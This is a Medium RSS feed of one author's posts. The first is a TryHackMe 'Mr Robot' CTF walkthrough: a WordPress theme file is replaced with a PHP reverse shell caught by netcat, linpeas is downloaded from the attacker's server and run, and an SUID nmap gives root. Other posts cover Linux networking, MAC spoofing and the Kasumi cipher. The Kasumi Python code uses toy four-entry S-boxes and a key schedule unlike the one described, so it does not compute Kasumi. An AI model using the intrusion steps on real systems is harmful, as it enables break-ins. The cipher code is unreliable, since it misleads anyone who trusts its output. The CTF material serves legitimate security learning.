<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by K ARYA SEKHAR DAS on Medium]]></title>
        <description><![CDATA[Stories by K ARYA SEKHAR DAS on Medium]]></description>
        <link>https://medium.com/@24UEC247?source=rss-3b7a54cc1957------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*YCMnYL5PE27egvnG</url>
            <title>Stories by K ARYA SEKHAR DAS on Medium</title>
            <link>https://medium.com/@24UEC247?source=rss-3b7a54cc1957------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 16 May 2026 18:22:51 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@24UEC247/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com" rel="hub"/>
        <item>
            <title><![CDATA[Mr Robot CTF(THM)]]></title>
            <link>https://medium.com/@24UEC247/mr-robot-ctf-thm-c50866a39bfe?source=rss-3b7a54cc1957------2</link>
            <guid isPermaLink="false">https://medium.com/p/c50866a39bfe</guid>
            <dc:creator><![CDATA[K ARYA SEKHAR DAS]]></dc:creator>
            <pubDate>Sat, 26 Apr 2025 16:33:36 GMT</pubDate>
            <atom:updated>2025-04-26T16:33:36.313Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/500/0*SijxGMtP2eAxZ5ov" /></figure><p>I personally felt like it was not just a simple room but a kinda crash course of using tools used for WebEx.</p><p>Most Important learning from this machine: <strong>Most systems don’t break from Brute-force, they break from overlooked configs</strong></p><h3>Walkthrough</h3><p>Nmap Scan:</p><pre>┌──(kali㉿kali)-[~/Downloads]<br>└─$ nmap -sC -sV -Pn -v 10.10.209.231<br>Starting Nmap 7.94SVN ( &lt;https://nmap.org&gt; ) at 2025-04-07 04:36 IST<br>NSE: Loaded 156 scripts for scanning.<br>NSE: Script Pre-scanning.<br>Initiating NSE at 04:36<br>Completed NSE at 04:36, 0.00s elapsed<br>Initiating NSE at 04:36<br>Completed NSE at 04:36, 0.00s elapsed<br>Initiating NSE at 04:36<br>Completed NSE at 04:36, 0.00s elapsed<br>Initiating Parallel DNS resolution of 1 host. at 04:36<br>Completed Parallel DNS resolution of 1 host. at 04:36, 0.10s elapsed<br>Initiating Connect Scan at 04:36<br>Scanning 10.10.209.231 [1000 ports]<br>Discovered open port 443/tcp on 10.10.209.231<br>Discovered open port 80/tcp on 10.10.209.231<br>Completed Connect Scan at 04:36, 15.98s elapsed (1000 total ports)<br>Initiating Service scan at 04:36<br>Scanning 2 services on 10.10.209.231<br>Completed Service scan at 04:36, 13.56s elapsed (2 services on 1 host)<br>NSE: Script scanning 10.10.209.231.<br>Initiating NSE at 04:36<br>Completed NSE at 04:36, 8.48s elapsed<br>Initiating NSE at 04:36<br>Completed NSE at 04:36, 1.60s elapsed<br>Initiating NSE at 04:36<br>Completed NSE at 04:36, 0.00s elapsed<br>Nmap scan report for 10.10.209.231<br>Host is up (0.23s latency).<br>Not shown: 997 filtered tcp ports (no-response)<br>PORT    STATE  SERVICE  VERSION<br>22/tcp  closed ssh<br>80/tcp  open   http     Apache httpd<br>| http-methods: <br>|_  Supported Methods: GET HEAD POST OPTIONS<br>|_http-favicon: Unknown favicon MD5: D41D8CD98F00B204E9800998ECF8427E<br>|_http-server-header: Apache<br>|_http-title: Site doesn&#39;t have a title (text/html).<br>443/tcp open   ssl/http Apache httpd<br>| http-methods: <br>|_  Supported Methods: GET HEAD POST OPTIONS<br>| ssl-cert: Subject: commonName=www.example.com<br>| Issuer: commonName=www.example.com<br>| Public Key type: rsa<br>| Public Key bits: 1024<br>| Signature Algorithm: sha1WithRSAEncryption<br>| Not valid before: 2015-09-16T10:45:03<br>| Not valid after:  2025-09-13T10:45:03<br>| MD5:   3c16:3b19:87c3:42ad:6634:c1c9:d0aa:fb97<br>|_SHA-1: ef0c:5fa5:931a:09a5:687c:a2c2:80c4:c792:07ce:f71b<br>|_http-server-header: Apache<br>|_http-title: 400 Bad Request<br>|_http-favicon: Unknown favicon MD5: D41D8CD98F00B204E9800998ECF8427E</pre><pre>NSE: Script Post-scanning.<br>Initiating NSE at 04:36<br>Completed NSE at 04:36, 0.00s elapsed<br>Initiating NSE at 04:36<br>Completed NSE at 04:36, 0.00s elapsed<br>Initiating NSE at 04:36<br>Completed NSE at 04:36, 0.00s elapsed<br>Read data files from: /usr/bin/../share/nmap<br>Service detection performed. Please report any incorrect results at &lt;https://nmap.org/submit/&gt; .<br>Nmap done: 1 IP address (1 host up) scanned in 39.87 seconds</pre><p>Looking at the result of nmap scan, port 22 ssh is closed. Port 80 http is up and running Apache http. Also port 443 is up.</p><p>Now visiting the ip in browser:</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FrcAMRjhphfI%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DrcAMRjhphfI&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FrcAMRjhphfI%2Fhqdefault.jpg&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/b746009ee7c7a80d523b82d0fd00a344/href">https://medium.com/media/b746009ee7c7a80d523b82d0fd00a344/href</a></iframe><p>I recommend trying all the comands given, even if it’s not useful. try diging may be can find some easier method.</p><p>Then I tried gobuster:</p><pre>gobuster dir --url &lt;http://10.10.209.231/&gt; -w /usr/share/wordlists/dirbuster/directory-list-1.0.txt</pre><pre>===============================================================<br>/images (Status: 301)<br>/video (Status: 301)<br>/rss (Status: 301)<br>/image (Status: 301)<br>/blog (Status: 301)<br>/0 (Status: 301)<br>/audio (Status: 301)<br>/sitemap (Status: 200)<br>/admin (Status: 301)<br>/feed (Status: 301)<br>/robots (Status: 200)<br>/dashboard (Status: 302)<br>/login (Status: 302)<br>/phpmyadmin (Status: 403)<br>/intro (Status: 200)<br>/license (Status: 200)<br>/wp-content (Status: 301)<br>/css (Status: 301)<br>/js (Status: 301)</pre><p>As per the result and hint provided, I am interested more in the robots page. And yes, I contained the first key(flag)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/678/0*yaL6BxkimvjOGuQ3" /></figure><p>we have fsocity.dic and key-1-of-3.txt listed under /robots. And going into /key-1-of-3.txt reveals the 1st key of the challange.</p><blockquote><em>🚩073403c8a58a1f80d943455fb30724b9</em></blockquote><p>fsocity.dic contains the list of usernames and password that we can use to bruteforce the admin login of the wordpress site</p><p>/wp-login.php reveals us login panel of wordpress.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*61BYX4R0FoLKWF3B" /></figure><p>We have a set of usernames and password, shall we try BruteForceing it ???</p><p>We have got an /license page also. Let’s try</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*I8zhdWP2ERelDYXU" /></figure><p>We got an base64 encoded string right here. Let’s decrypt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/908/0*Zd3eikFMu0cEiO80" /></figure><p>Here we got the login username and password Let’s login</p><p>we have access to wordpress dashboard.</p><p>What to do next?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*-xVZg39QMMLWPH1v" /></figure><p>Our best step would be to inject or replace the php file to malicious one. So that when the website runs the php we get ourself reverse shell.</p><p>For this i will be using php reverse shell from pentestmonkey <a href="https://github.com/pentestmonkey/php-reverse-shell">https://github.com/pentestmonkey/php-reverse-shell</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*NBPLA5axTjH2crcz" /></figure><p>Replace with malicious code and change the IP Address and port. Next, run netcat and visit the 404 page.</p><pre>nc -lvnp 1234</pre><pre>listening on [any] 1243 ...<br>connect to [10.9.12.198] from (UNKNOWN) [10.10.121.252] 37394<br>Linux linux 3.13.0-55-generic #94-Ubuntu SMP Thu Jun 18 00:27:10 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux 19:03:27 up 46 min, 0 users, load average: 0.05, 0.06, 0.13<br>USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT<br>uid=1(daemon) gid=1(daemon) groups=1(daemon)<br>bash: cannot set terminal process group (1998): Inappropriate ioctl for device<br>bash: no job control in this shell<br>daemon@linux:/$ cd /home/robot<br>daemon@linux:/home/robot$ ls<br>key-2-of-3.txt<br>password.raw-md5<br>daemon@linux:/home/robot$ cat password.raw-md5<br>robot:c3fcd3d76192e4007dfb496cca67e13b</pre><p>looking at the home directory of robot user. We can see to files.</p><p>key-2-of-3.txt and password.raw-md5</p><p>we don’t have access to key-2-of-3.txt but we can read password.raw-md5reading the password file reveals what looks like username and md5 encrypted password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*yBKxKk5WlKwsRRio" /></figure><p>the decode password. Now lets login with the user robot</p><pre>daemon@linux:/home/robot$ su robot<br>su robot<br>Password: abcdefghijklmnopqrstuvwxyz</pre><pre>robot@linux:~$ whoami<br>whoami<br>robot<br>robot@linux:~</pre><pre>robot@linux:~$ cat key-2-of-3.txt<br>cat key-2-of-3.txt<br>822c73956184f694993bede3eb39f959</pre><blockquote><em>🚩073403c8a58a1f80d943455fb30724b9</em></blockquote><p>Now for 3rd flag, it was necessary to perform privilege escalation to gain root access and open the root flag. On my Kali Linux, I downloaded linpeas, launched a web server, and downloaded linpeas.sh to the server.</p><pre>wget &lt;https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh&gt;</pre><pre>python3 -m http.server</pre><pre>wget 10.10.33.211:8000/linpeas.sh</pre><pre>./linpeas.sh</pre><pre>SUID - Check easy privesc, exploits and write perms<br>...<br>-rwsr-xr-x 1 root root 493K Nov 13  2015 /usr/local/bin/nmap<br>...</pre><p>With linpeas, I discovered that nmap could be exploited. Following a guide on GTFOBins, I found out how to exploit nmap for sudo privileges, became root, and obtained the root flag.</p><p>GFOBin -&gt; <a href="https://gtfobins.github.io/gtfobins/nmap/#sudo">https://gtfobins.github.io/gtfobins/nmap/#sudo</a></p><pre>robot@linux:/tmp$ nmap --interactive</pre><pre>Starting nmap V. 3.81 ( &lt;http://www.insecure.org/nmap/&gt; )<br>Welcome to Interactive Mode -- press h &lt;enter&gt; for help<br>nmap&gt; !sh<br>!sh</pre><pre>whoami<br>root</pre><pre>cd /root</pre><pre>ls<br>firstboot_done key-3-of-3.txt</pre><pre>cat key-3-of-3.txt<br>04787ddef27c3dee1ee161b21670b4e4</pre><blockquote><em>🚩04787ddef27c3dee1ee161b21670b4e4</em></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c50866a39bfe" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Analyzing and managing networks]]></title>
            <link>https://medium.com/@24UEC247/analyzing-and-managing-networks-0f2f96b37074?source=rss-3b7a54cc1957------2</link>
            <guid isPermaLink="false">https://medium.com/p/0f2f96b37074</guid>
            <dc:creator><![CDATA[K ARYA SEKHAR DAS]]></dc:creator>
            <pubDate>Wed, 26 Feb 2025 18:18:54 GMT</pubDate>
            <atom:updated>2025-02-26T18:18:54.431Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*bBWg2NeQR69IFcv4" /></figure><p>The ability to analyze and manipulate network configurations is crucial for ethical hackers, penetration testers, and cybersecurity professionals. Linux provides powerful built-in tools for examining and modifying network settings, including ifconfig, iwconfig, and dig. In this article, we explore these tools and their role in DNS manipulation.</p><h3>1. Examining Network Interfaces with ifconfig &amp; iwconfig</h3><blockquote>ifconfig: Inspecting and Configuring Network Interfaces</blockquote><p>The ifconfig command provides detailed information about active network interfaces, including:</p><ul><li>IP addresses</li><li>MAC addresses</li><li>Broadcast addresses</li><li>Network masks</li></ul><p>To view all network interfaces:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/654/1*ReMZIp3NG5BVChEHgcAsug.png" /></figure><p>To check a specific interface, e.g., eth0:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/677/1*Nt0Hu9BUBjmtS9f7uAVOhg.png" /></figure><blockquote>iwconfig: Wireless Network Configuration</blockquote><p>Unlike ifconfig, which handles wired connections, iwconfig is used for wireless network interfaces. It displays:</p><ul><li>Wireless modes (Managed, Monitor)</li><li>Signal strength</li><li>IEEE standards support</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/353/1*u7Wq_72UirynkDqkUdZvEA.png" /></figure><h3>2. Modifying Network Settings</h3><blockquote>Changing IP Address</blockquote><p>To manually set an IP address for a network interface:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/668/1*d-juegeF0mpdyoS2daNE0w.png" /></figure><blockquote>Setting Netmask and Broadcast Address</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/691/1*a2krBtiWGHenRgK3DjOP0g.png" /></figure><blockquote>Spoofing MAC Address</blockquote><p>Changing your MAC address can help in anonymity and bypassing network restrictions:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/675/1*BUu7RNCd2vYtGnkujVtCCg.png" /></figure><blockquote>Obtaining a New IP from DHCP</blockquote><p>To request a new IP address from the DHCP server:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/351/1*sb30phJWmRHjxu1hVL_uqg.png" /></figure><h3>3. Manipulating the Domain Name System (DNS)</h3><blockquote>Examining DNS Records with dig</blockquote><p>The dig command allows ethical hackers to extract key DNS records.</p><ul><li><strong>Get Nameserver (NS) Information:</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/679/1*HsqA5c9k5_ZvuThTWoTWYw.png" /></figure><ul><li><strong>Get Mail Exchange (MX) Information:</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/710/1*XXN63nGP_Cf77x8tjj9-0w.png" /></figure><h3>Changing DNS Server</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/255/1*_pc0HvweEX_xQ56XqGwrqg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*dg6Xv49TsaBkGgJ32-S-yA.png" /></figure><p>Sometimes, you may want to override the default DNS server. This can be done by modifying the /etc/resolv.conf file:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/407/1*MKwq8IRfdLSzu7msa7EG_g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/607/1*bo0_da6e8fwmWwscwO2B_A.png" /></figure><p>This command directs all DNS queries to Google’s public DNS.</p><h3><strong>4. Mapping Custom IPs Using /etc/hosts</strong></h3><p>Linux provides an alternative method for domain name resolution using the /etc/hosts file. You can manually map domain names to specific IP addresses.</p><p>To edit the hosts file:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/286/1*h0U63WcXm2bvqG0_nXK7kQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/610/1*KYI4apFv9GoUK3AAiRuT6A.png" /></figure><h3>Conclusion</h3><p>Understanding Linux networking tools and DNS manipulation is essential for security professionals. Whether analyzing networks with ifconfig, modifying DNS records with dig, or overriding IP mappings with /etc/hosts, mastering these tools provides valuable insights into network security and hacking techniques. Stay ethical, and use these skills responsibly!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0f2f96b37074" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Kasumi : A Block Cipher]]></title>
            <link>https://medium.com/@24UEC247/kasumi-a-block-cipher-32c0e45d3752?source=rss-3b7a54cc1957------2</link>
            <guid isPermaLink="false">https://medium.com/p/32c0e45d3752</guid>
            <dc:creator><![CDATA[K ARYA SEKHAR DAS]]></dc:creator>
            <pubDate>Sat, 22 Feb 2025 22:49:05 GMT</pubDate>
            <atom:updated>2025-02-24T06:37:14.972Z</atom:updated>
            <content:encoded><![CDATA[<h3>Kasumi : A Block Cipher</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*ypp_UxQjEWcMedNi" /></figure><p>Kasumi is a <strong>block cipher</strong> that operates on:</p><ul><li><strong>Block Size</strong>: 64 bits (8 bytes)</li><li><strong>Key Size</strong>: 128 bits (16 bytes)</li><li><strong>Structure</strong>: 8-round Feistel network</li></ul><p>It was standardized in 1999 by the 3GPP as part of the UMTS (Universal Mobile Telecommunications System) security architecture, where it serves as the core of the confidentiality algorithm (f8) and integrity algorithm (f9). The name “Kasumi” means “mist” in Japanese, reflecting its heritage from MISTY1, but it’s optimized for hardware implementation and lightweight performance.</p><p>Kasumi’s design balances security, speed, and resource efficiency, making it ideal for constrained environments like mobile devices. It uses a Feistel structure, a common approach in block ciphers (e.g., DES), but enhances it with complex key-dependent functions to resist cryptanalysis.</p><h3>Structure of Kasumi</h3><p>Kasumi employs an <strong>8-round Feistel network</strong>, where the 64-bit plaintext is split into two 32-bit halves (Left and Right), and each round transforms these halves using a round function and subkeys. Unlike a pure Feistel cipher, Kasumi alternates between two types of round functions depending on whether the round number is odd or even:</p><ul><li><strong>Odd Rounds</strong>: Apply the FL (Function Linear) followed by the FO (Function Outer).</li><li><strong>Even Rounds</strong>: Apply the FO function followed by the FL function.</li></ul><p>This alternating structure enhances diffusion and confusion, key principles of secure cipher design (as per Shannon’s criteria).</p><h3>Key Components</h3><p>Kasumi’s operation relies on three main functions and a key schedule:</p><ol><li><strong>FL (Function Linear)</strong>: A linear transformation that mixes the data with subkeys.</li><li><strong>FO (Function Outer)</strong>: A three-round function that introduces non-linearity and key mixing.</li><li><strong>FI (Function Inner)</strong>: A substitution-permutation function at the core of FO, using S-boxes.</li><li><strong>Key Schedule</strong>: Generates round-specific subkeys from the 128-bit master key.</li></ol><p>Let’s explore each in detail</p><h3>Detailed Components</h3><h3>1. FL (Function Linear)</h3><p><strong>Input</strong>: 32 bits</p><p><strong>Subkeys</strong>: Two 16-bit subkeys (KLᵢ₁, KLᵢ₂)</p><p><strong>Operation</strong>:</p><ul><li>Split the 32-bit input into two 16-bit halves: L (left) and R (right).</li><li>Compute:</li><li>R’ = R ⊕ ROL(L ∧ KLᵢ₁, 1)</li><li>L’ = L ⊕ ROL(R’ ∧ KLᵢ₂, 1)</li></ul><p><strong>Output:</strong> Concatenate L’ and R’ (32 bits).</p><p><strong>Purpose</strong>: Provides linear mixing with key material, enhancing diffusion.</p><p>Here, ⊕ is XOR, ∧ is AND, and ROL(x, n) is a left rotation of x by n bits. The FL function is invertible and lightweight, making it efficient for hardware.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dRftF5vV6TY1dCKkGjvRhA.png" /></figure><h3>2. FO (Function Outer)</h3><p><strong>Input</strong>: 32 bits</p><p><strong>Subkeys</strong>: Three 16-bit KO subkeys (KOᵢ₁, KOᵢ₂, KOᵢ₃) and three 16-bit KI subkeys (KIᵢ₁, KIᵢ₂, KIᵢ₃)</p><p><strong>Operation</strong>:</p><ul><li>Split the 32-bit input into two 16-bit halves: L₀ (left) and R₀ (right).</li><li>Perform three iterations (j = 1 to 3):</li><li>Rⱼ = FI(Lⱼ₋₁ ⊕ KOᵢⱼ, KIᵢⱼ) ⊕ Rⱼ₋₁</li><li>Lⱼ = Rⱼ₋₁</li><li>Output: Concatenate L₃ and R₃ (32 bits).</li></ul><p><strong>Purpose</strong>: Introduces non-linearity and deeper key mixing through the FI function.</p><p>FO acts as a mini-Feistel network within each round, running three sub-rounds to ensure thorough transformation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PkyYm22W3wFcC9Tc2T80gg.png" /></figure><h3><strong>3. FI (Function Inner)</strong></h3><p><strong>Input</strong>: 16 bits</p><p><strong>Subkey</strong>: One 16-bit KI subkey</p><p><strong>Operation</strong>:</p><ul><li>Split the 16-bit input into 9-bit left (L) and 7-bit right (R) parts.</li><li>Apply two S-boxes:</li><li>S9: Maps 9 bits to 9 bits (512-entry table)</li><li>S7: Maps 7 bits to 7 bits (128-entry table)</li><li>Compute:</li><li>ZE(R): Zero-extend R to 9 bits.</li><li>TR(L): Truncate L to 7 bits.</li><li>First stage:</li><li>L₁ = S9(L) ⊕ ZE(R)</li><li>R₁ = S7(R) ⊕ TR(L)</li><li>Mix with subkey (split into 7-bit KI₇ and 9-bit KI₉):</li><li>L₂ = L₁ ⊕ KI₉</li><li>R₂ = R₁ ⊕ KI₇</li><li>Second stage:</li><li>L₃ = S9(L₂) ⊕ ZE(R₂)</li><li>R₃ = S7(R₂) ⊕ TR(L₂)</li><li>Output: Concatenate L₃ (9 bits) and R₃ (7 bits) to form 16 bits.</li></ul><p><strong>Purpose</strong>: Provides the primary source of non-linearity through S-box lookups.</p><p>The S9 and S7 tables are predefined, cryptographically strong substitution boxes designed to resist linear and differential cryptanalysis.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IToaqserRVD98NVERWHIzg.png" /></figure><h3>4. Key Schedule</h3><p><strong>Input</strong>: 128-bit master key</p><p><strong>Process</strong>:</p><ul><li>Split the 128-bit key into eight 16-bit words: K₁, K₂, …, K₈.</li><li>Define a constant array C = [0x0123, 0x4567, 0x89AB, 0xCDEF, 0xFEDC, 0xBA98, 0x7654, 0x3210].</li><li>For each round i (1 to 8):</li><li>KLᵢ₁ = ROL(Kᵢ, 0) ⊕ Cᵢ</li><li>KLᵢ₂ = ROL(Kᵢ₊₂ mod 8, 5)</li><li>KOᵢ₁ = ROL(Kᵢ₊₁ mod 8, 8)</li><li>KOᵢ₂ = ROL(Kᵢ₊₅ mod 8, 15)</li><li>KOᵢ₃ = ROL(Kᵢ₊₃ mod 8, 13)</li><li>KIᵢ₁ = Kᵢ₊₇ mod 8</li><li>KIᵢ₂ = Kᵢ₊₄ mod 8</li><li>KIᵢ₃ = Kᵢ₊₆ mod 8</li></ul><p><strong>Output</strong>: Subkeys KL, KO, and KI for each of the 8 rounds.</p><p><strong>Purpose</strong>: Ensures each round uses unique key material, preventing related-key attacks.</p><p>The rotations and XORs with constants make the subkeys diverse and unpredictable.</p><h3>Encryption Process</h3><p>Given a 64-bit plaintext and 128-bit key:</p><p><strong>Initialization</strong>:</p><ul><li>Split plaintext into L₀ (left 32 bits) and R₀ (right 32 bits).</li><li>Generate subkeys using the key schedule.</li></ul><p><strong>8 Rounds</strong>:</p><ul><li>For round i = 1 to 8:</li><li>If i is odd:</li><li>Temp = FL(Lᵢ₋₁, KLᵢ)</li><li>Lᵢ = Rᵢ₋₁ ⊕ FO(Temp, KOᵢ, KIᵢ)</li><li>Rᵢ = Lᵢ₋₁</li><li>If i is even:</li><li>Temp = FO(Lᵢ₋₁, KOᵢ, KIᵢ)</li><li>Lᵢ = Rᵢ₋₁ ⊕ FL(Temp, KLᵢ)</li><li>Rᵢ = Lᵢ₋₁</li></ul><p><strong>Output</strong>:</p><ul><li>Ciphertext = L₈ || R₈ (64 bits).</li></ul><p>Decryption is identical except the subkeys are applied in reverse order (round 8 to 1).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pJuSQ7X5q_gQCTIOvt-ycQ.png" /></figure><h3><strong>Implementation using Python</strong></h3><pre>def rol(x, n):<br>    return ((x &lt;&lt; n) &amp; 0xffff) | (x &gt;&gt; (16 - n))<br><br>def kasumi_fi(fi_in, subkey):<br>    left = fi_in &gt;&gt; 7<br>    right = fi_in &amp; 0x7f<br>    <br>    s9 = [0x1b, 0x32, 0x64, 0xc8]  <br>    s7 = [0x0d, 0x1a, 0x34, 0x68]  <br>    <br>    temp = left ^ (s9[right % len(s9)] &amp; 0x1ff)<br>    right = right ^ (s7[temp % len(s7)] &amp; 0x7f)<br>    left = temp &amp; 0x1ff<br>    <br>    return (left &lt;&lt; 7) | right<br><br>def kasumi_fo(fo_in, koi, kii):<br>    left = fo_in &gt;&gt; 16<br>    right = fo_in &amp; 0xffff<br>    <br>    for i in range(3):<br>        temp = right ^ koi[i]<br>        right = left ^ kasumi_fi(temp, kii[i])<br>        left = temp<br>    <br>    return (left &lt;&lt; 16) | right<br><br>def kasumi_encrypt(block, key):<br>    if isinstance(key, list) and len(key) == 8:<br>        k = key<br>    else:<br>        k = [(key &gt;&gt; (i * 16)) &amp; 0xffff for i in range(8)][::-1]<br>    <br>    kl = [0] * 8<br>    ko = [0] * 8<br>    ki = [0] * 8<br>    <br>    for i in range(8):<br>        kl[i] = rol(k[i % 8], i)<br>        ko[i] = rol(k[(i + 2) % 8], 5)<br>        ki[i] = rol(k[(i + 4) % 8], 13)<br><br>    left = block &gt;&gt; 32<br>    right = block &amp; 0xffffffff<br>    <br>    for i in range(8):<br>        koi = [ko[(i + j) % 8] for j in range(3)]<br>        kii = [ki[(i + j) % 8] for j in range(3)]<br>        <br>        if i % 2 == 0:<br>            temp = left ^ kl[i]<br>            left = right ^ kasumi_fo(temp, koi, kii)<br>            right = temp<br>        else:<br>            temp = left ^ kasumi_fo(right, koi, kii)<br>            left = right<br>            right = temp<br>    <br>    return (left &lt;&lt; 32) | right<br><br>def get_user_input():<br>    while True:<br>        try:<br>           <br>            plaintext_input = input(&quot;Enter plaintext (hex, 16 digits, e.g., 0123456789ABCDEF): &quot;)<br>            plaintext = int(plaintext_input, 16)<br>            if plaintext.bit_length() &gt; 64:<br>                print(&quot;Error: Plaintext must be 64 bits or less&quot;)<br>                continue<br>            <br>           <br>            key_input = input(&quot;Enter key (hex, 32 digits, e.g., 123456789ABCDEF0FEDCBA9876543210): &quot;)<br>            key_int = int(key_input, 16)<br>            if key_int.bit_length() &gt; 128:<br>                print(&quot;Error: Key must be 128 bits or less&quot;)<br>                continue<br>            key = [(key_int &gt;&gt; (i * 16)) &amp; 0xffff for i in range(8)][::-1]<br>            return plaintext, key<br>            <br>        except ValueError:<br>            print(&quot;Error: Please enter valid hexadecimal numbers&quot;)<br>        except Exception as e:<br>            print(f&quot;Error: {e}&quot;)<br><br>if __name__ == &quot;__main__&quot;:<br>    print(&quot;Kasumi Encryption Program&quot;)<br>    print(&quot;------------------------&quot;)<br>    <br>    plaintext, key = get_user_input()<br>    ciphertext = kasumi_encrypt(plaintext, key)<br>    <br>    print(&quot;\nResults:&quot;)<br>    print(f&quot;Plaintext:  {hex(plaintext)}&quot;)<br>    print(f&quot;Key:        {&#39;&#39;.join([hex(k)[2:].zfill(4) for k in key[::-1]])}&quot;)<br>    print(f&quot;Ciphertext: {hex(ciphertext)}&quot;)</pre><h3>Cryptographic Properties</h3><ul><li><strong>Security</strong>: Kasumi offers 128-bit key strength, though its 64-bit block size makes it vulnerable to birthday attacks in high-data scenarios (²³² blocks). It resists linear and differential cryptanalysis due to its S-boxes and round structure.</li><li><strong>Efficiency</strong>: Optimized for 16-bit operations, making it suitable for hardware and low-power devices.</li><li><strong>Diffusion</strong>: Achieved through FL and FO, ensuring each bit change affects many others.</li><li><strong>Confusion</strong>: Provided by FI’s S-boxes, obscuring the relationship between plaintext, key, and ciphertext.</li></ul><h3>Applications and Significance</h3><p>Kasumi is integral to:</p><ul><li><strong>UMTS Security</strong>: Used in f8 (confidentiality) and f9 (integrity) algorithms.</li><li><strong>GSM Evolution</strong>: Adapted for A5/3 in 2G networks.</li></ul><p>While newer standards like AES have largely superseded it in modern systems, Kasumi remains a benchmark for lightweight cryptography and a case study in cipher design.</p><h3>Limitations</h3><ul><li><strong>Block Size</strong>: 64 bits is small by today’s standards, risking collisions in large datasets.</li><li><strong>Cryptanalysis</strong>: While secure, theoretical attacks (e.g., impossible differential cryptanalysis) reduce its effective security slightly below 128 bits.</li><li><strong>Legacy</strong>: Primarily tied to 3G, less relevant in 4G/5G contexts using AES.</li></ul><h3>Conclusion</h3><p>Kasumi is a masterclass in balancing security and efficiency. Its Feistel structure, enriched with FL, FO, and FI functions, demonstrates how complex transformations can be built from simple operations. Understanding Kasumi not only illuminates mobile security’s history but also provides a foundation for studying modern cryptographic techniques. Whether implemented in Python for learning or analyzed for its design, Kasumi remains a fascinating subject in the world of cryptography.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=32c0e45d3752" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Mastering Bash Scripting for Ethical Hacking: A Beginner’s Guide]]></title>
            <link>https://medium.com/@24UEC247/mastering-bash-scripting-for-ethical-hacking-a-beginners-guide-4da6bfaa8883?source=rss-3b7a54cc1957------2</link>
            <guid isPermaLink="false">https://medium.com/p/4da6bfaa8883</guid>
            <dc:creator><![CDATA[K ARYA SEKHAR DAS]]></dc:creator>
            <pubDate>Tue, 18 Feb 2025 18:36:44 GMT</pubDate>
            <atom:updated>2025-02-18T18:36:44.627Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*drCdJ3lyJwYZeU2gFWS7dw.jpeg" /></figure><p>Bash scripting is an essential skill for anyone interested in ethical hacking, penetration testing, or cybersecurity. Whether you’re a beginner looking to automate tasks or an aspiring hacker wanting to understand how scripts are used in real-world attacks, this guide will help you get started with Bash scripting and writing your own hacking scripts.</p><h3>Running Your First Bash Script</h3><p>To begin with, let’s create and run a simple Bash script.</p><ol><li>Open a terminal in Kali Linux.</li><li>Create a new file using a text editor, such as nano:</li></ol><pre>nano HelloHackersArise</pre><p>3. Add the following content to your script:</p><pre>#! /bin/bash<br>echo &quot;Hello, Hackers-Arise!&quot;</pre><p>4. Save and exit the editor (press <strong>CTRL+X</strong>, then <strong>Y</strong>, and hit <strong>Enter</strong>).</p><p>5. Give the script execute permissions:</p><pre>chmod +x HelloHackersArise</pre><p>6. Run the 